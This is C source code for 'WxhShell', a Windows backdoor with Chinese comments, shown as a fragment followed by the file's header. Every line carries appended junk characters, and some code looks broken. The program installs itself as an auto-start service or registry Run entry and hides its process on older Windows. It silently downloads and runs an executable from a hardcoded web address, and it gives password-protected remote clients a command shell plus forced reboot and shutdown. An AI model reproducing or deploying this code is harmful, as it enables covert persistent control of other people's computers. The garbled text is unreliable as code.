    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FL 5tIfV+  
    else { Ve4!MM@ti  
    closesocket(wsh); LZ@4,Uj  
    ExitThread(0); SGU~LW&  
    } pGy]t  
    break; }v[$uT-q  
    } (> v1)*r  
  // 获取shell 8: KlU(J  
  case 's': { V0]6F  
    CmdShell(wsh);   0%  
    closesocket(wsh); [-@Lbu-|  
    ExitThread(0); FafOd9>AO  
    break; NA,)FmQjk  
  } kCRP?sj  
  // 退出 | Wrf|%p  
  case 'x': { !/w<F{cl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S*o%#ZJN  
    CloseIt(wsh); p& > z=Z*  
    break; ak?XE4-N  
    } /lQGFLZL  
  // 离开 ~PT( /L  
  case 'q': { #du!tx ( _  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (aX5VB**  
    closesocket(wsh); w*})ZYIUT  
    WSACleanup(); 1or4s{bmo  
    exit(1); B_k[N}|zD  
    break; !9l c6W  
        } p5!=Ur&A c  
  } pP&TFy#G+'  
  } A22h+8yG  
s!q6OVJ-  
  // 提示信息 su}> >07  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 89>U Koc?  
} Ld[zOx  
  } zkdyfl5  
iBy:HH  
  return; ]-$0?/`p8  
} mis cmD  
/\-qz$  
// shell模块句柄 k,xY\r$  
int CmdShell(SOCKET sock) _u^ S[  
{ )g9&fGYf  
STARTUPINFO si; R4<}kA,.  
ZeroMemory(&si,sizeof(si)); F6gboo)SD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q0f7gY1-%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZJ} V>Bu-  
PROCESS_INFORMATION ProcessInfo; +2kJuoj:  
char cmdline[]="cmd"; /?%zNkcxu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;}b.gpG  
  return 0; 4VjP:>*p  
} HR55|`]  
qV$\.T>x  
// 自身启动模式 fA u^%jiU  
int StartFromService(void) -.|V S|y  
{ C?e1 a9r  
typedef struct .0:t wj  
{ [s-Km/  
  DWORD ExitStatus; Uhc2`r#q  
  DWORD PebBaseAddress; k0{5)Su"xr  
  DWORD AffinityMask; *5k" v"NM(  
  DWORD BasePriority; ZM/*cA!"  
  ULONG UniqueProcessId; n|vIo)  
  ULONG InheritedFromUniqueProcessId; **V^8'W<  
}   PROCESS_BASIC_INFORMATION; TOo0rcl  
G J=<~S"  
PROCNTQSIP NtQueryInformationProcess; @Y'BqDFlZ  
m$xL#omD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [XWY-q#Gg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; oagxTFh8~  
q/Dc*Qn m  
  HANDLE             hProcess; < @9p|[!  
  PROCESS_BASIC_INFORMATION pbi; `MAluu+b  
>-YPCW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CwQgA%) !i  
  if(NULL == hInst ) return 0; , ;L  
k=2]@K$%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *hVW >{a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l BS!=/7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;7"}I  
^w.x~#zI  
  if (!NtQueryInformationProcess) return 0; *ktM<N58  
|?n=~21"1O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C`c;I7  
  if(!hProcess) return 0; r>1M&Y=<  
N\?%944R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z 55iq  
UXVjRY`M.\  
  CloseHandle(hProcess); 'f9 fw^  
5n,?>> p$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s7 IaU|m  
if(hProcess==NULL) return 0; !8^:19+  
je1f\N45  
HMODULE hMod; *R.Q!L v+  
char procName[255]; {dV#"+  
unsigned long cbNeeded; 3Xgf=yG:M  
?y82S*sb#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PDaHY  
eOa:%{Kj  
  CloseHandle(hProcess); beFVjVVHq  
rr fL [  
if(strstr(procName,"services")) return 1; // 以服务启动 U7d%*g  
|e@9YDZ  
  return 0; // 注册表启动 GUJ[2/V~A  
} sZ #Ck"n  
*joy%F  
// 主模块 uBI?nv,  
int StartWxhshell(LPSTR lpCmdLine) A-e#&pJ  
{ 2mAXBqdm  
  SOCKET wsl; Ml)~%ZbF  
BOOL val=TRUE; 'awL!P--  
  int port=0; /w0l7N  
  struct sockaddr_in door; O;c;>x_dA  
Ym+k \h  
  if(wscfg.ws_autoins) Install(); m RB-}  
@BWroNg{  
port=atoi(lpCmdLine); 0lR/6CB  
!>T.*8  
if(port<=0) port=wscfg.ws_port; fyIL/7hzf4  
Xxcv 5.ug  
  WSADATA data; 3+_? /}<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }R:eKj  
_sIhQ8$:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B`)o?GcVN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }18}VjC!  
  door.sin_family = AF_INET; K 0RY2Hiw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .a\b_[+W  
  door.sin_port = htons(port); 09<O b[%h  
yCZV:R;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *(@(9]B~  
closesocket(wsl); hM^#X,7  
return 1; cUssF%ud]  
} \D(6t!Ox  
>=-w2&  
  if(listen(wsl,2) == INVALID_SOCKET) { v# ab2  
closesocket(wsl); WUx}+3eWv  
return 1; \tTZ N  
} I=X-e#HM?  
  Wxhshell(wsl); /gh=+;{  
  WSACleanup(); | Zx  
h')@NnFP 1  
return 0; S(Md  
< U`lh  
} w!o[pvyR$  
:RR<-N5+  
// 以NT服务方式启动 mw)KyU#l,:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F2!C^r,~L  
{ !K^.r_0H.  
DWORD   status = 0; IBWUXG;  
  DWORD   specificError = 0xfffffff; s 7re  
{#N](yUm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #UL:#pY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 22S4q`j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }I<r=?  
  serviceStatus.dwWin32ExitCode     = 0; 9X&Xc  
  serviceStatus.dwServiceSpecificExitCode = 0; &1Dq3%$c  
  serviceStatus.dwCheckPoint       = 0; @ qWgokf  
  serviceStatus.dwWaitHint       = 0; r# MJ  
pMM,ox"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f$$l,wo  
  if (hServiceStatusHandle==0) return; $}&Y$w>S  
]2\|<.  
status = GetLastError(); _]8FCO  
  if (status!=NO_ERROR) j#d=V@=a  
{ {_QXx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gqq%q!k&1  
    serviceStatus.dwCheckPoint       = 0; aOWW ..|  
    serviceStatus.dwWaitHint       = 0; j|"#S4IX)F  
    serviceStatus.dwWin32ExitCode     = status; |F z/9+I  
    serviceStatus.dwServiceSpecificExitCode = specificError; fH? e9E4l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5BnO-[3  
    return; ]b!o(5m  
  } B}_*0D  
0A\OZ^P8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yi*)g0M  
  serviceStatus.dwCheckPoint       = 0; c jfYE]  
  serviceStatus.dwWaitHint       = 0; n{JBC%^g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M72.  
} .g71?^?(  
lPyGL-Q  
// 处理NT服务事件,比如:启动、停止 .&dW?HS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oLK-~[p  
{  (`PgvBL:  
switch(fdwControl) D@ut -J(.  
{ eS(\E0%QI  
case SERVICE_CONTROL_STOP: h^R EBPe  
  serviceStatus.dwWin32ExitCode = 0; zu}oeAQc$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _<pSCR0  
  serviceStatus.dwCheckPoint   = 0; `s93P^%  
  serviceStatus.dwWaitHint     = 0; ]V*s-och'  
  { :U_k*9z}=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !_CBf#0  
  } 3Ob"R%Yo  
  return; vI3L <[W  
case SERVICE_CONTROL_PAUSE: i"mN0%   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i[1K~yXq:  
  break; QcJ?1GwA"  
case SERVICE_CONTROL_CONTINUE: =.`(KXT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .lnyn|MVb  
  break; S]&f+g}&w  
case SERVICE_CONTROL_INTERROGATE: sy`@q<h(  
  break; $sK8l=#  
}; 5v6 x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); HwTb753  
} 5/Viz`hsz  
g bDre~|  
// 标准应用程序主函数 ~t7?5b?*\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `|?K4<5|  
{ )90Q  
3)\jUVuj  
// 获取操作系统版本 U;QTA8|!&  
OsIsNt=GetOsVer(); dbM~41C6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ssaEAm:  
Ji4xor  
  // 从命令行安装 Cw7 07  
  if(strpbrk(lpCmdLine,"iI")) Install(); h[~JCYA  
+(n&>7 5  
  // 下载执行文件 ?O3E.!Q|  
if(wscfg.ws_downexe) { {a aI<u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <QbD ;(%  
  WinExec(wscfg.ws_filenam,SW_HIDE); |Iei!jm  
} x=>B 6o-f  
qv\n]M_&  
if(!OsIsNt) { Er/h:=  
// 如果时win9x,隐藏进程并且设置为注册表启动 B].V|8h  
HideProc(); nmI os]B  
StartWxhshell(lpCmdLine); buV {O[  
} pQv`fr=  
else ]DVZeI03@  
  if(StartFromService()) Qj;wk lq  
  // 以服务方式启动 !9A6DWAE$  
  StartServiceCtrlDispatcher(DispatchTable); `-@8IZ7  
else -PXRd)~  
  // 普通方式启动 BfZAK0+*$  
  StartWxhshell(lpCmdLine); &V/n!|q<H  
vbEAd)*S  
return 0; )!SA]>-  
} 'fpm] *ig  
Y'-@O"pK  
OsI>gX>  
l;{n" F  
=========================================== %N5gQXg  
:/YHU3~Y  
*_feD+rq  
o/0cd  
"#zSk=52z  
y!_*CYZ~m  
" KnL-qc  
e4:,W+g,9  
#include <stdio.h> @bs YJ4-V  
#include <string.h> @yc/1u $r  
#include <windows.h> qe. Qjq  
#include <winsock2.h> t &scvXh  
#include <winsvc.h> Fg` P@hC  
#include <urlmon.h> "^M/iv(  
0 D^d-R,  
#pragma comment (lib, "Ws2_32.lib") fny|^F]w  
#pragma comment (lib, "urlmon.lib") RcJ.=?I!  
bO8>w9MF  
#define MAX_USER   100 // 最大客户端连接数 yM* CA,(c  
#define BUF_SOCK   200 // sock buffer G<1)N T\u  
#define KEY_BUFF   255 // 输入 buffer r~f*aD  
/QuuBtp  
#define REBOOT     0   // 重启 &CP0T:h  
#define SHUTDOWN   1   // 关机 9$ GA s  
as#_Fer`U  
#define DEF_PORT   5000 // 监听端口 0,a/t jSr  
=VA5!-6<Uq  
#define REG_LEN     16   // 注册表键长度 rl:6N*kK  
#define SVC_LEN     80   // NT服务名长度 $D;/b+a  
n^}M*#  
// 从dll定义API a'zXLlXgGd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @4sEHk 3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R<\5 q%@G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); w3,DsEXu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WFHS8SI  
ng,64(wOY  
// wxhshell配置信息 .`w[A  
struct WSCFG { zNTcy1Sthk  
  int ws_port;         // 监听端口 iakqCjV  
  char ws_passstr[REG_LEN]; // 口令 0 0JH*I  
  int ws_autoins;       // 安装标记, 1=yes 0=no .T!R&#]n  
  char ws_regname[REG_LEN]; // 注册表键名 ".0~@W0  
  char ws_svcname[REG_LEN]; // 服务名 tjONN(K`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3K)12x$.K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (29h{=P'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qH 1k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~vL7$-:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^wnlZ09J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %w9/ gD  
Z"ce1cB  
}; k[_)5@2  
p~v rr 5  
// default Wxhshell configuration o<1a]M|  
struct WSCFG wscfg={DEF_PORT, 7E0L-E=.  
    "xuhuanlingzhe", ajr);xd  
    1, i^<P@ |q  
    "Wxhshell", K;ncviGu  
    "Wxhshell", [u?*' c{  
            "WxhShell Service", cx+w_D9b!  
    "Wrsky Windows CmdShell Service", tccw0  
    "Please Input Your Password: ", QmHj=s:x\  
  1, V1yY>  
  "http://www.wrsky.com/wxhshell.exe", yM_ta '^$  
  "Wxhshell.exe" F+!w[}0  
    }; U3UKu/Z  
|gV$ks\<  
// 消息定义模块 )># Y,/q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m=m T`EP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "c+j2f'f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jRn5)u  
char *msg_ws_ext="\n\rExit."; ~ShoU m[  
char *msg_ws_end="\n\rQuit."; N*^iOm]Y  
char *msg_ws_boot="\n\rReboot..."; ?$chO|QY  
char *msg_ws_poff="\n\rShutdown..."; zcqv0lM '  
char *msg_ws_down="\n\rSave to "; rnOg;|u8  
(ncm]W  
char *msg_ws_err="\n\rErr!"; jH5VrN*Q  
char *msg_ws_ok="\n\rOK!"; ^ <$$h  
# 1,"^k^  
char ExeFile[MAX_PATH]; 0c-.h  
int nUser = 0; h)NZG6R  
HANDLE handles[MAX_USER]; OuZPgN  
int OsIsNt; hXAgT!ZD  
"d5nVO/  
SERVICE_STATUS       serviceStatus; d:<</ah  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pq T+lai)#  
>$/<~j]  
// 函数声明 ce&Q}_  
int Install(void); 5%6{ ePh{  
int Uninstall(void); YK{E=<:  
int DownloadFile(char *sURL, SOCKET wsh); l-v(~u7  
int Boot(int flag); (GCeD-  
void HideProc(void); e> zv+9'Q  
int GetOsVer(void); eb ` !  
int Wxhshell(SOCKET wsl); Rfx}[!<{N  
void TalkWithClient(void *cs); Tr6J+hS  
int CmdShell(SOCKET sock); }CM</  
int StartFromService(void); }EMds3<  
int StartWxhshell(LPSTR lpCmdLine); R(^2+mV?  
7A,lQh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xs}3=&c(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _o+z#Fnz  
M+|J;caX  
// 数据结构和表定义 DN X-\  
SERVICE_TABLE_ENTRY DispatchTable[] = 7Rq|N$y.3  
{ n5NwiSE  
{wscfg.ws_svcname, NTServiceMain}, sC}p_'L  
{NULL, NULL} 78MQoG<  
}; v1j&oA}$.  
>N bb0T  
// 自我安装 o5(~nQ  
int Install(void) i"_@iN0N  
{ \@8.BCWK  
  char svExeFile[MAX_PATH]; G~+BO'U9'G  
  HKEY key; zbL8 pp  
  strcpy(svExeFile,ExeFile); `w(~[`F t  
H6oU Ne  
// 如果是win9x系统,修改注册表设为自启动 0K<|>I  
if(!OsIsNt) { au;ZAXM|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (DnrJ.QU}t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VpO+52&  
  RegCloseKey(key); ! N!A%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j3Yz=bsQ{c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O{{\jn|lR  
  RegCloseKey(key); b%TLvV 9F  
  return 0; k|r|*|8  
    } /QW-#K|S&  
  } xX:N-  
} n5U-D0/Q  
else { !7>~=n_,L.  
+EOd9.X\~  
// 如果是NT以上系统,安装为系统服务 RG8Ek"D@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \' Z^rjB  
if (schSCManager!=0) /@O$jlX5I  
{ 05ZF>`g*  
  SC_HANDLE schService = CreateService Vb++K0CK  
  ( +FBUB  
  schSCManager, 5*hA6Ex7  
  wscfg.ws_svcname, (/[wM>q:r  
  wscfg.ws_svcdisp, A dL>?SG%  
  SERVICE_ALL_ACCESS, 4Q?3gA1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?.~hex#M@  
  SERVICE_AUTO_START, = lMs1}S9  
  SERVICE_ERROR_NORMAL, T*"*##c  
  svExeFile, LcW:vV|'K  
  NULL, 7Ap==J{a  
  NULL, xV\mS+#  
  NULL, 50R&;+b  
  NULL, O?OG`{k  
  NULL U?e.)G  
  ); $v\o14 v  
  if (schService!=0) !?aL_{7J  
  {  K?]c  
  CloseServiceHandle(schService); @x[Arx^?}  
  CloseServiceHandle(schSCManager); 9NEL[J|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 40m>~I^q}  
  strcat(svExeFile,wscfg.ws_svcname); -R BH5+SS2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vwIP8z~<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +\s&v!  
  RegCloseKey(key); cKe{ ]a  
  return 0; ZD#{h J-  
    } Ch0t'  
  } g&?RQ  
  CloseServiceHandle(schSCManager); /DxeG'O  
} x*a^msY%  
} PyI"B96gz  
5.\|*+E~  
return 1; t 4M-;y  
} |AExaO"jk  
k f Y;  
// 自我卸载 Xajt][  
int Uninstall(void) |ul{d|  
{ /: -&b#+  
  HKEY key; ,\+N}F^  
Y<Ae_yLa  
if(!OsIsNt) { ^ux'-/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L"1AC&~ u  
  RegDeleteValue(key,wscfg.ws_regname); =`(W^&|  
  RegCloseKey(key); D5Rp<PBq,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cna%;f.  
  RegDeleteValue(key,wscfg.ws_regname); Ed0}$ b  
  RegCloseKey(key); 8.wtv5eZ  
  return 0; 4!ZT_q  
  } >@G"*le*)  
} y~OP9Tg  
} mIrN~)C4\  
else { LrdED[Z  
@6!Myez'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ryz NM3  
if (schSCManager!=0) iSOyp\E|  
{ _XT;   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2Gj)fMK38  
  if (schService!=0) 4,YL15.  
  { R$dNdd9m  
  if(DeleteService(schService)!=0) { hDg"?{  
  CloseServiceHandle(schService); `DGI|3  
  CloseServiceHandle(schSCManager); (ruMOKW  
  return 0; Ke#Rkt  
  } C %j%>X`  
  CloseServiceHandle(schService); g 6?y{(1  
  } fWIWRsy%  
  CloseServiceHandle(schSCManager); lOb(XH9  
} `l70i2xcj  
} V#Y"0l+~  
@|w/`!}9q  
return 1; x@)cj  
} M.qv'zV`xG  
l*CCnqE  
// 从指定url下载文件 h{\S'8  
int DownloadFile(char *sURL, SOCKET wsh) hfc~HKLC  
{ =?]S8cth  
  HRESULT hr; ][//G|9  
char seps[]= "/"; hH05p!2  
char *token; &Vpr[S@:{  
char *file; C^_m>H3b  
char myURL[MAX_PATH]; rOYYZ)Qw  
char myFILE[MAX_PATH]; hZo  f  
7#Fcn  
strcpy(myURL,sURL); e=# D1  
  token=strtok(myURL,seps); lc [)Ev  
  while(token!=NULL) LV$Ko_9eA  
  { 'vq0Tw5  
    file=token; x{G 'IEf  
  token=strtok(NULL,seps); f4 +P2j  
  } XXwo(trs~=  
=l] lwA -  
GetCurrentDirectory(MAX_PATH,myFILE); Ed_Fx'  
strcat(myFILE, "\\"); 5~[][VV^  
strcat(myFILE, file); F]N?_ bo  
  send(wsh,myFILE,strlen(myFILE),0); \?Xoa"^  
send(wsh,"...",3,0); h^,L) E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b o_`P3  
  if(hr==S_OK) -I*vl  
return 0; ApggTzh@  
else Y>8JHoV  
return 1; 8090+ ( U  
IZQ*D)  
} n8\88d  
tK#/S+l  
// 系统电源模块 '4M;;sKW  
int Boot(int flag) WD kE 5  
{ i>-#QKqJ  
  HANDLE hToken; .>}Z3jUrf  
  TOKEN_PRIVILEGES tkp; 8y[Rwa  
Jko=E   
  if(OsIsNt) { pnL[FMc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |v#D}E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UbIUc}ge  
    tkp.PrivilegeCount = 1; +RiI5.$=Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X -=M>H^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7&]|c?([4  
if(flag==REBOOT) { =C|^C3HK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q$k#q<+0  
  return 0; =CdrhP_  
} :}#j-ZCC"  
else { |S<!'rY  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OOABn*  
  return 0; +nB0O/m'U  
} ^;[_CF _  
  } @FF{lK?[  
  else { (WY9EJ<s,  
if(flag==REBOOT) { +o0yx U 7t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =@hCc  
  return 0; YuJ{@"H  
} c@nh>G:y{&  
else { 0pH$Mk Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uc]5p(9Hb  
  return 0; F~OQ'59!Pf  
} 0G Q8} r  
} iO18FfM_  
*Utx0Me  
return 1; VpY,@qh  
} *%atE  
X%B$*y5  
// win9x进程隐藏模块 :2wT)wz  
void HideProc(void) F8/n;  
{ 5'w&M{{9  
;'[?H0Jw'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); a^[s[j#^,  
  if ( hKernel != NULL ) yWT1CID  
  { $DnR[V}rR!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z?UEn#E2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^\\9B-MvY  
    FreeLibrary(hKernel); :w4N*lV-  
  } gt~u/Z%  
*o(bB!q"c  
return; INCD5dihJ  
} FBzsM7]j  
VOg'_#I  
// 获取操作系统版本 *7L1SjZw  
int GetOsVer(void) VrhHcvnZ  
{ 2jkma :$'  
  OSVERSIONINFO winfo; D})12qB;u9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "st+2#{  
  GetVersionEx(&winfo); *#?9@0b@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i`iR7UmHeR  
  return 1; &Rz-;66bN  
  else yKm6 8n^  
  return 0; Uw3wR!:  
} X V)ctF4  
T+%P+  
// 客户端句柄模块 %`/F> `  
int Wxhshell(SOCKET wsl) Bc b '4*:  
{ hx:^xW@r4P  
  SOCKET wsh; hC]:+.Q+  
  struct sockaddr_in client; 0]nveC$  
  DWORD myID; q$K}Fm1C  
uy<b5.!-  
  while(nUser<MAX_USER) 'jy e*  
{ 6%wlz%Fp  
  int nSize=sizeof(client); jL'R4z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =OTu8_ d0t  
  if(wsh==INVALID_SOCKET) return 1; hyhm{RC?[  
Y&DoA0/y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gp'k(rGH  
if(handles[nUser]==0) <;1M!.)5  
  closesocket(wsh); B9c gVTLj  
else -q? ,  
  nUser++; :1]J{,VG  
  } zpzxCzU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >>8{N)c5E  
,,ML^ey  
  return 0; )gAqWbkB  
} 0 c,!<\B  
s={IKU&m[  
// 关闭 socket wk1/&  
void CloseIt(SOCKET wsh) f<'D?d)L^  
{ !>GDp>0  
closesocket(wsh); LE?sAN  
nUser--; Ev3,p`zS._  
ExitThread(0); j}fSz)`i  
} Ies` !W^  
OO,EUOh-T:  
// 客户端请求句柄 +NeoGnj  
void TalkWithClient(void *cs) {*<%6?  
{ 5Ux=5a  
GBT219Z@8  
  SOCKET wsh=(SOCKET)cs; pA_e{P/  
  char pwd[SVC_LEN]; rdAy '38g  
  char cmd[KEY_BUFF]; x]4>f[>*>  
char chr[1]; 6(ER$  
int i,j; k(@W z>aCv  
'#Do( U'  
  while (nUser < MAX_USER) { J\ J3 'u  
P=s3&NDD  
if(wscfg.ws_passstr) { 4`Jf_C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J]Rh+@r.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZQ-6n1O  
  //ZeroMemory(pwd,KEY_BUFF); m SO7r F  
      i=0; sG^{ cn  
  while(i<SVC_LEN) { .;(a;f+{;  
19%zcYTe  
  // 设置超时 C3 BoH&  
  fd_set FdRead; d vo|9 >  
  struct timeval TimeOut; JcfGe4  
  FD_ZERO(&FdRead); ZzP&Zrm  
  FD_SET(wsh,&FdRead); oqg +<m  
  TimeOut.tv_sec=8; ,v?FR }v  
  TimeOut.tv_usec=0; d\8j!F^=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TFz k5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b7gN|Hw5 H  
u}rJqZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  2 av=W  
  pwd=chr[0]; NiRb:F-  
  if(chr[0]==0xd || chr[0]==0xa) { SEE:v+3|  
  pwd=0; NW&2ca  
  break; #Kx @:I  
  } Tz0XBH_  
  i++; su\`E&0V+  
    } (.5Ft^3W  
bik lja  
  // 如果是非法用户,关闭 socket aa dw#90  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C]h_co2eI  
} @CoUFdbz  
.LbAR u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j8^zE,Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F'JT7# eX  
<Ynrw4[)t  
while(1) { ~n(LBA  
`\/\C[Gg  
  ZeroMemory(cmd,KEY_BUFF); I$XwM  
CdtCxy5  
      // 自动支持客户端 telnet标准   /-(OJN5F^  
  j=0; 6 B7 F  
  while(j<KEY_BUFF) { mXyg\5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q%,y66pFr  
  cmd[j]=chr[0]; ~ftR:F|9  
  if(chr[0]==0xa || chr[0]==0xd) { ]3Jb$Q@  
  cmd[j]=0; C^:{y  
  break; V6kDyl(  
  } ID<[=es6  
  j++; KTeR;6oZn"  
    } k`s_31<  
kL<HGQt  
  // 下载文件 D u_ ;!E  
  if(strstr(cmd,"http://")) { 7f<@+&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1Ve~P"w  
  if(DownloadFile(cmd,wsh)) W*,$0 t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0_=^#r4Mu  
  else }1Q> A 5e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZS`9r16@b  
  } M'T[L%AP  
  else { 5,\|XQA5!  
E 5mYFVK  
    switch(cmd[0]) { ( efxw  
  m6Qm }""  
  // 帮助 Z|A+\#'  
  case '?': { M<Y{Cs  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p<y \ ^a  
    break;  RcZ&/MY  
  } g!z &lQnZ  
